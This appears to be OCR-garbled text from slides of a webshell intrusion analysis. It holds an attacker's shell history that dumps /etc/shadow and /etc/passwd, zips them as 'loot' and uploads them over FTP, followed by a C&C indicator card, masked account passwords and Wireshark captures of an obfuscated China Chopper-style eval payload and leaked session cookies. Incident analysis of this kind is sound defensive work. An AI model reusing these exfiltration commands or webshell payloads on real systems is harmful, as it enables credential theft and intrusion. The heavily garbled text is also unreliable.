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wget htty = |
154 vi backup.php

155 cat /Jetc/shadow > shadow.txt

156 cat /etc/passwd > passwd.txt

157 sudo zip --password Passwordls loot.zip shadow. txt passwd. txt
158 curl -u chuck:Norris -T 12.zip ftp:/

159 wget http://¢ Hi /Descr.WD3
160 wget http://¢ /elfcdl.c
161 wget http://¢€ J/default.htm

Reconnaissance Delivery Installation Action

Weaponization Exploitation Command & Control



Name : 2016.php

MD5 : 9ECOCE31D60O58BAE1E269481BCA72D3B
Password : a

SourcelIP : 111.x.X.X

C&C : http://www.XxXxxxx.com.cn/

Action : XXXXXXX
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Administrator
PASSWORD: xiandaijiati****

Guest

PASSWORD:Y***3456

Spzhong
PASSWORD: z***23. .,

SQLDebugger
PASSWORD: jia***01.1

administrator$:

PASSWORD:Y***3456
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M Wireshark - BE TCP B (tcp.stream eq 0) - Chooper — O *

POST /phpinfo.php HTTP/1.1 “
Cache-Control: no-cache

X-Forwarded-For: 77.248.143.252

Referer: http://192.168.0.102/

Content-Type: application/x-ww-form-urlencoded

User-Agent: Mozilla/5.8 (compatible; Baiduspider/2.8; +http://www.baidu.com/search/spider.html)

Host: 192.168.0.102

Content-Length: 1800

Connection: Close

123=$xx%3Dchr(98) .chr(97).chr(115) .chr(181).chr(54).chr(52).chr(95).chr(180).chr(181) .chr(99).chr(111).chr(100) . chr(101) ; fyy=
$_POST;@eval/**/. ($xx/**/.
($yy[z@]));8z8=0G1uaV3zZXQoImRpc3BsYX1FZXIyb3IzIiwiMCIp0@BzZXRfdG1tZVIsallpdCgwKTtAc2VEX21hZ21jX3F1b3R1c19ydW50al11KDAPO2VjaG8oli
0% 2BFCIp0zskbTInZXRFbWFnakilf cXVvdGVzX2dwYygpOyRwPWIhc 2U2NF 9k ZWNvZGUo 1GB%2Fc 3Ry aXBzbGFzaGVzKCRFUEITVFsie JEIXSk6IFIQTINUWY J6MSIdKTs
kcz1iYXNINFRFZGVib2R1KCRtP3IN@cmlwc2xhc2hlcygkX1BPULRbInoyI1@p0iRFUESTVFsiejIiXSk71GQ9ZG1ybmFtZSgkX1NFULZFULSsiUBNSSVBUXBZITEVOQULF
T18p0yRjPXN1YnN@cigkZCwwl DEpPTOiLYT

[%2FTi1jIFwieyRzfVwiTljoil 2MgXCI7IHNIXCIiOyRyPSI7IHB9IHskY3@i0yRhecnJheTlhenJheShhenJheSgicGlwZSIsInIiKSxhenJheSgicGlwZSIsInciKSxhen
JheSgicGlwZSIsInciKSk71GZwPXByb2Nfb3BlbigkcidiIDI

%281 jEiLCRhcnIheSwkcGlwZXMpOyRyZXQ9c3Ry ZWFtX2d1dF9jb250ZW50cy gk cGlwZXNbMVOpO3Byb2NfY2xve 2Uo ]G ZwKT twemludCAkcmVB0z t1Y2hvKCIBPCRIKT
tkallUoKTs%3D8z1=Y21k&z2=Y2QgL 2QgQzpcV2FtcFx3d3dc Im51dHNAYXQgLWF ulHwgZm1uZCAIRVNUQUIMSVNIRUQL ImVjaG8ghiNd Jmik ImVjaG8gWeVdHTTP /1.1

Date: Tue, 29 Dec 2815 17:32:11 GMT

M Wireshark - {58 TCP i (tcp.stream eq 0) - weevely - [m] X

POST /mbox/query/diff?clienttype=8&devuid=BDIMXV2%2D0%5F379012832E5A42909308331E9A2BF9F6%2DCX5F0%2DDX5F0%2DM%5FO0BC29CFABBD%2DV

%5FB8OF7D@5&channel sion=5.3.6.0&rand=abb4bbealdabl3fcaf228757a9c862d020251ebe&time=14510520268&10g1d=IwAxADQANQAXADAANQ
AyADAAMgA2 ACwAMQASADTAL gAxADYAQAAUADEAMAAUADEAMQASACWAXBANAABADMATWAXID HTTP/1.1

Host: pan.baidu.com

Accept: */*

Cookie: PANPSC=1767/4147387/849856034%3AzKsuZfKZYIME2F 2wk 2FVFV]@Vp3rBXXPHa 1s5 JvEHRIRUN

%2Br3sD1FZHsEq7xbIsIsvh1SZPHWS FgmilaDx2N0rxXUSPbmZHXgXpk cNOWOUyshdd9cexa04ol gTeImr61K%2B%2FCABB%2F zZW63YYHHLEFv60zSnWewV71%2B0B7MF19wER4 jGgLM
%2Fp0sHvBtxAxQabxtbvgES1gXdeG3hH%2FGjhbalklyGA%3D%3D; BAIDUID=5F953D029A67F29EEASE7@BADCEBBCFR:FG=1;
BDUSS=dVaDdraGhzcGITMzYxZnQxTHMyWk 9 TRHAPRNEXNGR3REQtYnIQQnBPdVpANT1XQVFBQUFBICQAARAAAAAAMAEAAADU FswuQ2hlbtbQz -

ki JkéeFaZOnhiTn

User-Agent: netdisk;5.3.6.8;PC;PC-Windows;6.1.7601;WindowsBaiduYunGuanlia

Content-Length: 121

Content-Type: application/x-www-form-urlencoded

single_marked_time=8&single_relation_list_time=MTQ@NTISOTABNTISODoxMzU4MzAxMu==&group_list_time=8&group msg marked_time=@HTTP/1.1 200 OK
Date: Fri, 25 Dec 2815 14:88:29 GMT

Content-Type: application/json; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

yld: 253848104319828388

Cache-Control: no-cache

X-Powered-By: PHP/5.4.24
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.org.cn/xx/mian.asp", "password":"
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..org.cn/plus/ad js.php", "password
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